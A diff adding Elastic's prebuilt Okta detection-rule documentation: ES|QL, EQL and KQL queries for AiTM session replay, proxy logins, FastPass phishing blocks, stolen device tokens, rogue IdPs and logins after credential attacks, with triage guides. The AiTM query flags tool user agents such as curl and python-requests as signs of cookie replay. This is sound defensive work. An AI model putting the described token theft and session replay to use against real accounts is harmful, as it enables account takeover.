query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* + +// Filter to relevant event types for AiTM detection +| WHERE + okta.event_type IN ("user.session.start", "policy.evaluate_sign_on", "user.authentication.sso") AND + okta.authentication_context.root_session_id IS NOT NULL AND + okta.actor.alternate_id != "system@okta.com" + +// Create event type flags +| EVAL Esql.is_session_start = okta.event_type == "user.session.start" +| EVAL Esql.is_policy_eval = okta.event_type == "policy.evaluate_sign_on" +| EVAL Esql.is_sso = okta.event_type == "user.authentication.sso" +| EVAL Esql.is_replay_event = Esql.is_policy_eval OR Esql.is_sso + +// Flag suspicious non-browser user agents +| EVAL Esql.is_suspicious_ua = + user_agent.original LIKE "python-requests*" OR + user_agent.original LIKE "curl/*" OR + user_agent.original LIKE "httpx*" OR + user_agent.original LIKE "aiohttp*" OR + user_agent.original LIKE "Go-http-client*" OR + user_agent.original LIKE "*Headless*" OR + user_agent.original LIKE "Java/*" OR + user_agent.original LIKE "okhttp*" + +// Aggregate by session +| STATS + Esql.session_start_count = SUM(CASE(Esql.is_session_start, 1, 0)), + Esql.replay_event_count = SUM(CASE(Esql.is_replay_event, 1, 0)), + Esql.session_start_time = MIN(CASE(Esql.is_session_start, @timestamp, null)), + Esql.first_replay_time = MIN(CASE(Esql.is_replay_event, @timestamp, null)), + Esql.last_replay_time = MAX(CASE(Esql.is_replay_event, @timestamp, null)), + Esql.session_start_ip = MAX(CASE(Esql.is_session_start, okta.client.ip, null)), + Esql.session_start_ua = MAX(CASE(Esql.is_session_start, user_agent.original, null)), + Esql.suspicious_ua_count = SUM(CASE(Esql.is_suspicious_ua, 1, 0)), + Esql.okta_client_ip_count_distinct = COUNT_DISTINCT(okta.client.ip), + Esql.user_agent_count_distinct = COUNT_DISTINCT(user_agent.original), + Esql.okta_client_ip_values = VALUES(okta.client.ip), + Esql.user_agent_values = VALUES(user_agent.original), + Esql.okta_event_type_values = VALUES(okta.event_type), + Esql.okta_outcome_result_values = VALUES(okta.outcome.result), + Esql.source_geo_country_name_values = VALUES(source.geo.country_name), + Esql.source_geo_city_name_values = VALUES(source.geo.city_name), + Esql.okta_debug_context_debug_data_risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.okta_debug_context_debug_data_risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY okta.authentication_context.root_session_id, okta.actor.alternate_id + +// Detection conditions +| WHERE + Esql.session_start_count >= 1 + AND Esql.replay_event_count >= 1 + AND Esql.first_replay_time > Esql.session_start_time + AND ( + ( + Esql.okta_client_ip_count_distinct > 1 OR Esql.user_agent_count_distinct > 1 + ) AND Esql.suspicious_ua_count > 0 + ) + +| SORT Esql.session_start_time DESC +| KEEP Esql.*, okta.authentication_context.root_session_id, okta.actor.alternate_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Web Session Cookie +** ID: T1550.004 +** Reference URL: https://attack.mitre.org/techniques/T1550/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-alerts-following-unusual-proxy-authentication.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-alerts-following-unusual-proxy-authentication.asciidoc new file mode 100644 index 0000000000..5a967c059a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-alerts-following-unusual-proxy-authentication.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-okta-alerts-following-unusual-proxy-authentication]] +=== Okta Alerts Following Unusual Proxy Authentication + +Correlates the first occurrence of an Okta user session started via a proxy with subsequent Okta security alerts for the same user. Attackers frequently use proxy infrastructure (VPNs, Tor, residential proxies) to mask their origin when using stolen credentials, and their post-authentication activity often triggers additional detection rules. + +*Rule type*: eql + +*Rule indices*: + +* .alerts-security.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Identity +* Domain: Cloud +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Initial Access +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) +* Platform: Okta + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta Alerts Following Unusual Proxy Authentication* + + +This rule correlates the first occurrences of authentication behind a proxy followed by an alert with subsequent Okta security alerts for the same user. Attackers frequently use proxy infrastructure (VPNs, Tor, residential proxies) to mask their origin when using stolen credentials, and their post-authentication activity often triggers additional detection rules. + +By correlating the proxy alert with other Okta alerts using an EQL sequence, this rule identifies users whose proxy-based authentication was followed by suspicious activity within a 1-hour window. + + +*Possible investigation steps* + +- Identify the affected user and review the correlated security alerts to understand what suspicious activity was detected after the proxy authentication. +- Examine the proxy source IP addresses and cross-reference with threat intelligence feeds for known malicious infrastructure. +- Review the time gap between the proxy authentication and subsequent alert generation. +- Review the user's recent Okta activity for signs of account takeover (MFA changes, new devices, unusual app access). +- Verify with the user whether they intentionally used a proxy or VPN during this session. + + +*False positive analysis* + +- Users who legitimately use VPN services for privacy or remote work may trigger this rule if they also trigger unrelated alerts. +- Security testing or red team exercises using proxy infrastructure combined with testing that triggers alerts. +- Corporate VPN egress points that Okta classifies as proxy infrastructure. + + +*Response and remediation* + +- If account compromise is suspected, immediately revoke all active sessions for the user. +- Reset the user's password and MFA factors. +- Review and revoke any OAuth tokens or API keys associated with the account. +- Block the source proxy IP at the network perimeter if confirmed malicious. +- Review the user's access to sensitive applications and data during the suspicious session. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.name with maxspan=30m + [any where event.dataset == "okta.system" and + kibana.alert.rule.rule_id == "6f1bb4b2-7dc8-11ee-92b2-f661ea17fbcd"] + [any where event.dataset == "okta.system" and + kibana.alert.rule.rule_id != null and + kibana.alert.severity != "low" and + kibana.alert.rule.rule_id not in ( + "6f1bb4b2-7dc8-11ee-92b2-f661ea17fbcd", + "af2d8e4c-3b7c-4e91-8f5a-6c9d0e1f2a3b" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-fastpass-phishing-detection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-fastpass-phishing-detection.asciidoc new file mode 100644 index 0000000000..7d1a43661f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-fastpass-phishing-detection.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-okta-fastpass-phishing-detection]] +=== Okta FastPass Phishing Detection + +Detects when Okta FastPass prevents a user from authenticating to a phishing website. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-okta* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://sec.okta.com/fastpassphishingdetection +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Data Source: Okta +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Okta +* Domain: Identity + +*Version*: 313 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Okta FastPass Phishing Detection* + + +Okta FastPass is a passwordless authentication solution that enhances security by verifying user identity without traditional credentials. Adversaries may attempt to exploit this by directing users to phishing sites mimicking legitimate services. The detection rule identifies failed authentication attempts where FastPass blocks access, indicating a phishing attempt, by analyzing specific event patterns and outcomes. + + +*Possible investigation steps* + + +- Review the event details to confirm the presence of the specific outcome reason "FastPass declined phishing attempt" to ensure the alert is related to a phishing attempt. +- Identify the user associated with the failed authentication attempt and gather additional context about their recent activities and access patterns. +- Investigate the source IP address and geolocation of the failed authentication attempt to determine if it aligns with the user's typical access locations or if it appears suspicious. +- Check for any other recent authentication attempts from the same user or IP address to identify potential patterns or repeated phishing attempts. +- Communicate with the affected user to verify if they received any suspicious communications or if they attempted to access any unfamiliar websites around the time of the alert. +- Review any additional logs or alerts from other security systems that might provide further context or corroborate the phishing attempt. + + +*False positive analysis* + + +- Legitimate third-party applications that mimic the behavior of phishing sites may trigger false positives. Users can create exceptions for these applications by whitelisting their domains in the Okta FastPass settings. +- Internal testing environments that simulate phishing scenarios for training purposes might be flagged. To prevent this, ensure that these environments are registered and recognized within the Okta system to avoid unnecessary alerts. +- Users accessing legitimate services through unusual network paths or VPNs may be mistakenly identified as phishing attempts. Regularly review and update network configurations and trusted IP addresses to minimize these occurrences. +- Frequent failed authentication attempts due to user error, such as incorrect device settings or outdated software, can be mistaken for phishing. Educate users on maintaining their devices and software to align with Okta FastPass requirements to reduce these false positives. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts to prevent further unauthorized access attempts. This can be done by temporarily disabling the accounts or enforcing additional authentication measures. +- Notify the affected users about the phishing attempt and instruct them to avoid interacting with suspicious emails or websites. Provide guidance on recognizing phishing attempts. +- Conduct a thorough review of the affected users' recent activities to identify any potential data exposure or unauthorized access to sensitive information. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or related incidents. +- Implement additional monitoring on the affected accounts and related systems to detect any further suspicious activities or attempts to bypass security controls. +- Review and update security policies and configurations related to Okta FastPass to ensure they are optimized for detecting and preventing similar phishing attempts in the future. +- Coordinate with the IT team to ensure that all systems and applications are patched and up-to-date to mitigate any vulnerabilities that could be exploited in conjunction with phishing attacks. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +This rule requires Okta to have the following turned on: + +Okta Identity Engine - select 'Phishing Resistance for FastPass' under Settings > Features in the Admin Console. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and event.category:authentication and + okta.event_type:user.authentication.auth_via_mfa and event.outcome:failure and okta.outcome.reason:"FastPass declined phishing attempt" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc new file mode 100644 index 0000000000..e3e7381de8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc @@ -0,0 +1,115 @@ +[[prebuilt-rule-8-19-34-okta-multiple-os-names-detected-for-a-single-dt-hash]] +=== Okta Multiple OS Names Detected for a Single DT Hash + +Identifies when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token and is using it to impersonate a legitimate user from a different machine. + +*Rule type*: threshold + +*Rule indices*: + +* logs-okta.system-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Identity +* Data Source: Okta +* Data Source: Okta System Logs +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Threshold +* Platform: Okta + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta Multiple OS Names Detected for a Single DT Hash* + + +This rule detects when a single Okta device token hash (dt_hash) is associated with multiple operating system types. This is highly anomalous because a device token is tied to a specific device and its operating system. This alert strongly indicates that an attacker has stolen a device token token and is using it to impersonate a legitimate user from a different machine. + + +*Possible investigation steps* + +- Review the `okta.debug_context.debug_data.dt_hash` field to identify the specific device +trust hash associated with multiple operating systems. +- Examine the `user.email` field to determine which user account is associated with the suspicious activity +- Analyze the `source.ip` field to identify the IP addresses from which the different operating systems were reported. Look for any unusual or unexpected locations. +- Review the `user_agent.os.name` field to see the different operating systems reported for the +same dt_hash. This will help identify the nature of the anomaly. +- Check the `event.action` field to understand the context of the authentication events (e.g., MFA verification, standard authentication). +- Investigate the timeline of events to see when the different operating systems were reported for the same dt_hash. Look for patterns or sequences that may indicate malicious activity. +- Correlate this activity with other security events in your environment, such as failed login attempts, unusual access patterns, or alerts from endpoint security solutions. + + +*False positive analysis* + +- Applications will tag the operating system as null when the device is not recognized as a managed device +- In environments where users frequently switch between managed and unmanaged devices, this may lead to false positives. + + +*Response and remediation* + +- Immediately investigate the user account associated with the suspicious activity to determine if it has been compromised. +- If compromise is confirmed, reset the user's credentials and enforce multi-factor authentication (MFA) +- Revoke any active sessions associated with the compromised account to prevent further unauthorized access. +- Review and monitor the affected dt_hash for any further suspicious activity. +- Educate users about the importance of device security and the risks associated with device tokens. +- Implement additional monitoring for device token tokens and consider using conditional access policies to restrict access based on device compliance status. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "okta.system" + and not okta.debug_context.debug_data.dt_hash: "-" + and user_agent.os.name: * + and event.action: ( + "user.authentication.verify" or + "user.authentication.auth_via_mfa" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-sign-in-events-via-third-party-idp.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-sign-in-events-via-third-party-idp.asciidoc new file mode 100644 index 0000000000..888ad59fed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-sign-in-events-via-third-party-idp.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-okta-sign-in-events-via-third-party-idp]] +=== Okta Sign-In Events via Third-Party IdP + +Detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP) that has not been seen before. Adversaries may add an unauthorized IdP to an Okta tenant to gain persistent access. This rule uses New Terms detection to only alert when a previously unseen IdP is used for authentication, reducing noise from legitimate federated identity providers while highlighting potentially rogue IdP additions. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-okta.system-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.cloudflare.com/cloudflare-investigation-of-the-january-2022-okta-compromise/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://unit42.paloaltonetworks.com/muddled-libra/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Data Source: Okta +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Okta + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta Sign-In Events via Third-Party IdP* + + +This rule detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP). + +Adversaries may attempt to add an unauthorized IdP to an Okta tenant to gain access to the tenant. Following this action, adversaries may attempt to sign in to the tenant using the unauthorized IdP. This rule detects both the addition of an unauthorized IdP and the subsequent sign-in attempt. + + +*Possible investigation steps:* + +- Identify the third-party IdP by examining the `okta.authentication_context.issuer.id` field. +- Once the third-party IdP is identified, determine if this IdP is authorized to be used by the tenant. +- If the IdP is unauthorized, deactivate it immediately via the Okta console. +- Identify the actor associated with the IdP creation by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields in historical data. + - The `New Okta Identity Provider (IdP) Added by Admin` rule may be helpful in identifying the actor and the IdP creation event. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- If the client is a device, check the `okta.device.id`, `okta.device.name`, `okta.device.os_platform`, `okta.device.os_version`, and `okta.device.managed` fields. +- Review the past activities of the actor involved in this action by checking their previous actions logged in the `okta.target` field. +- Examine the `okta.request.ip_chain` field to potentially determine if the actor used a proxy or VPN to perform this action. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- It might be a false positive if this IdP is authorized to be used by the tenant. +- This may be a false positive if an authorized third-party IdP is used to sign in to the tenant but failures occurred due to an incorrect configuration. + + +*Response and remediation:* + +- If the IdP is unauthorized, deactivate it immediately via the Okta console. +- Reset the effected user's password and enforce MFA re-enrollment, if applicable. +- Mobile device forensics may be required to determine if the user's device is compromised. +- If the IdP is authorized, ensure that the actor who created it is authorized to do so. +- If the actor is unauthorized, deactivate their account via the Okta console. +- If the actor is authorized, ensure that the actor's account is not compromised. + +- Block the IP address or device used in the attempts if they appear suspicious, using the data from the `okta.client.ip` and `okta.device.id` fields. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. +- If the deactivated IdP was crucial to the organization, consider adding a new IdP and removing the unauthorized IdP. + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "okta.system" + and okta.authentication_context.issuer.id: (* and not "Okta") + and ( + event.action: ( + "user.authentication.auth_via_IDP" + or "user.authentication.auth_via_inbound_SAML" + or "user.authentication.auth_via_social" + ) + or ( + event.action: "user.authentication.auth_via_IDP" + and okta.outcome.result: "FAILURE" + and okta.outcome.reason: ( + "A SAML assert with the same ID has already been processed by Okta for a previous request" + or "Unable to match transformed username" + or "Unable to resolve IdP endpoint" + or "Unable to validate SAML Response" + or "Unable to validate incoming SAML Assertion" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-successful-login-after-credential-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-successful-login-after-credential-attack.asciidoc new file mode 100644 index 0000000000..cd63c5f82e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-okta-successful-login-after-credential-attack.asciidoc @@ -0,0 +1,255 @@ +[[prebuilt-rule-8-19-34-okta-successful-login-after-credential-attack]] +=== Okta Successful Login After Credential Attack + +Correlates Okta credential attack alerts with subsequent successful authentication for the same user account, identifying potential compromise following brute force, password spray, or credential stuffing attempts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 30m + +*Searches indices from*: now-6h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Data Source: Okta +* Data Source: Okta System Logs +* Tactic: Credential Access +* Tactic: Initial Access +* Resources: Investigation Guide +* Rule Type: Higher-Order Rule +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: ES|QL +* Platform: Okta + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Okta Successful Login After Credential Attack* + + +This rule correlates credential attack alerts with subsequent successful authentication for the same user account. The correlation is user-centric, capturing IP rotation scenarios where attackers may login from a different IP after obtaining credentials. + + +*Possible investigation steps* + +- Identify the user account and review the timeline between the attack and successful login. +- Compare the attack source IPs versus the login source IP to identify potential IP rotation. +- Review the original credential attack alert to understand the scope and nature of the attack. +- Check the authentication method used and whether MFA was required and satisfied. +- Review the session activity following the successful login for signs of account takeover. +- Verify with the user if the login was legitimate. + + +*False positive analysis* + +- Users experiencing legitimate login issues may trigger attack alerts before successfully authenticating. +- Automated password reset flows where a user fails multiple times then succeeds after resetting may trigger this rule. +- The rule correlates on user identity only, so it fires when a user is targeted and later logs in, even if from different IPs. + + +*Response and remediation* + +- If compromise is suspected, reset the user's password and revoke all active sessions. +- Reset MFA if the attacker may have enrolled their own device. +- Block the source IP at the network perimeter. +- Review the user's recent activity for signs of lateral movement or data access. +- Check for persistence mechanisms such as new OAuth apps, API tokens, or enrolled devices. + + +==== Setup + + + +*Setup* + + +This rule requires the following: +1. The Okta Fleet integration, Filebeat module, or similarly structured data for Okta System Logs. +2. The correlated credential attack detection rules must be enabled (at least one): + - Potential Okta Credential Stuffing (Single Source) (94e734c0-2cda-11ef-84e1-f661ea17fbce) + - Potential Okta Password Spray (Single Source) (42bf698b-4738-445b-8231-c834ddefd8a0) + - Potential Okta Brute Force (Device Token Rotation) (23f18264-2d6d-11ef-9413-f661ea17fbce) + - Potential Okta Brute Force (Multi-Source) (5889760c-9858-4b4b-879c-e299df493295) + - Potential Okta Password Spray (Multi-Source) (2d3c27d5-d133-4152-8102-8d051619ec4a) +3. Alerts from these rules must be written to the `.alerts-security.*` indices. + +The rule queries both alert indices and Okta log indices to correlate attack alerts with successful logins. + +==== Rule query + + +[source, js] +---------------------------------- +FROM .alerts-security.*, logs-okta.system-* METADATA _id, _version, _index +// Filter for credential attack alerts OR successful Okta authentications +| WHERE + ( + // Credential attack alerts from the five correlated rules + kibana.alert.rule.rule_id IN ( + "94e734c0-2cda-11ef-84e1-f661ea17fbce", // Credential Stuffing + "42bf698b-4738-445b-8231-c834ddefd8a0", // Password Spraying + "23f18264-2d6d-11ef-9413-f661ea17fbce", // DT Brute Force + "5889760c-9858-4b4b-879c-e299df493295", // Distributed Brute Force + "2d3c27d5-d133-4152-8102-8d051619ec4a" // Distributed Spray + ) + ) + OR ( + // Successful Okta authentication events + data_stream.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.result == "SUCCESS" + AND okta.actor.alternate_id IS NOT NULL + ) +// correlation - alerts may store user/IP in different fields than raw logs +| EVAL + Esql.user = COALESCE(okta.actor.alternate_id, user.name, user.email), + Esql.source_ip = COALESCE(okta.client.ip, client.ip, source.ip) +// Must have user identity to correlate +| WHERE Esql.user IS NOT NULL +// Classify events and capture timestamps/IPs by event type +| EVAL + Esql.is_attack_alert = CASE( + kibana.alert.rule.rule_id IN ( + "94e734c0-2cda-11ef-84e1-f661ea17fbce", + "42bf698b-4738-445b-8231-c834ddefd8a0", + "23f18264-2d6d-11ef-9413-f661ea17fbce", + "5889760c-9858-4b4b-879c-e299df493295", + "2d3c27d5-d133-4152-8102-8d051619ec4a" + ), 1, 0 + ), + Esql.is_success_login = CASE( + data_stream.dataset == "okta.system" + AND okta.outcome.result == "SUCCESS", 1, 0 + ), + Esql.attack_ip = CASE( + kibana.alert.rule.rule_id IN ( + "94e734c0-2cda-11ef-84e1-f661ea17fbce", + "42bf698b-4738-445b-8231-c834ddefd8a0", + "23f18264-2d6d-11ef-9413-f661ea17fbce", + "5889760c-9858-4b4b-879c-e299df493295", + "2d3c27d5-d133-4152-8102-8d051619ec4a" + ), Esql.source_ip, null + ), + Esql.login_ip = CASE( + data_stream.dataset == "okta.system" + AND okta.outcome.result == "SUCCESS", Esql.source_ip, null + ), + Esql.attack_ts = CASE( + kibana.alert.rule.rule_id IN ( + "94e734c0-2cda-11ef-84e1-f661ea17fbce", + "42bf698b-4738-445b-8231-c834ddefd8a0", + "23f18264-2d6d-11ef-9413-f661ea17fbce", + "5889760c-9858-4b4b-879c-e299df493295", + "2d3c27d5-d133-4152-8102-8d051619ec4a" + ), @timestamp, null + ), + Esql.login_ts = CASE( + data_stream.dataset == "okta.system" + AND okta.outcome.result == "SUCCESS", @timestamp, null + ) +// Aggregate by user (catches IP rotation: spray from IP A, login from IP B) +| STATS + Esql.attack_count = SUM(Esql.is_attack_alert), + Esql.login_count = SUM(Esql.is_success_login), + Esql.earliest_attack = MIN(Esql.attack_ts), + Esql.latest_attack = MAX(Esql.attack_ts), + Esql.earliest_login = MIN(Esql.login_ts), + Esql.latest_login = MAX(Esql.login_ts), + Esql.attack_source_ips = VALUES(Esql.attack_ip), + Esql.login_source_ips = VALUES(Esql.login_ip), + Esql.all_source_ips = VALUES(Esql.source_ip), + Esql.alert_rule_ids = VALUES(kibana.alert.rule.rule_id), + Esql.alert_rule_names = VALUES(kibana.alert.rule.name), + Esql.event_action_values = VALUES(event.action), + Esql.geo_country_values = VALUES(client.geo.country_name), + Esql.geo_city_values = VALUES(client.geo.city_name), + Esql.source_asn_values = VALUES(source.as.number), + Esql.source_asn_org_values = VALUES(source.as.organization.name), + Esql.user_agent_values = VALUES(okta.client.user_agent.raw_user_agent), + Esql.device_values = VALUES(okta.client.device), + Esql.is_proxy_values = VALUES(okta.security_context.is_proxy) + BY Esql.user +// Calculate time gap between latest attack and earliest subsequent login +| EVAL Esql.attack_to_login_minutes = DATE_DIFF("minute", Esql.latest_attack, Esql.earliest_login) +// Correlation: attack BEFORE login + success within reasonable window (3 hours) +| WHERE + Esql.attack_count > 0 + AND Esql.login_count > 0 + AND Esql.latest_attack < Esql.earliest_login + AND Esql.attack_to_login_minutes <= 180 +| SORT Esql.login_count DESC +| KEEP Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: 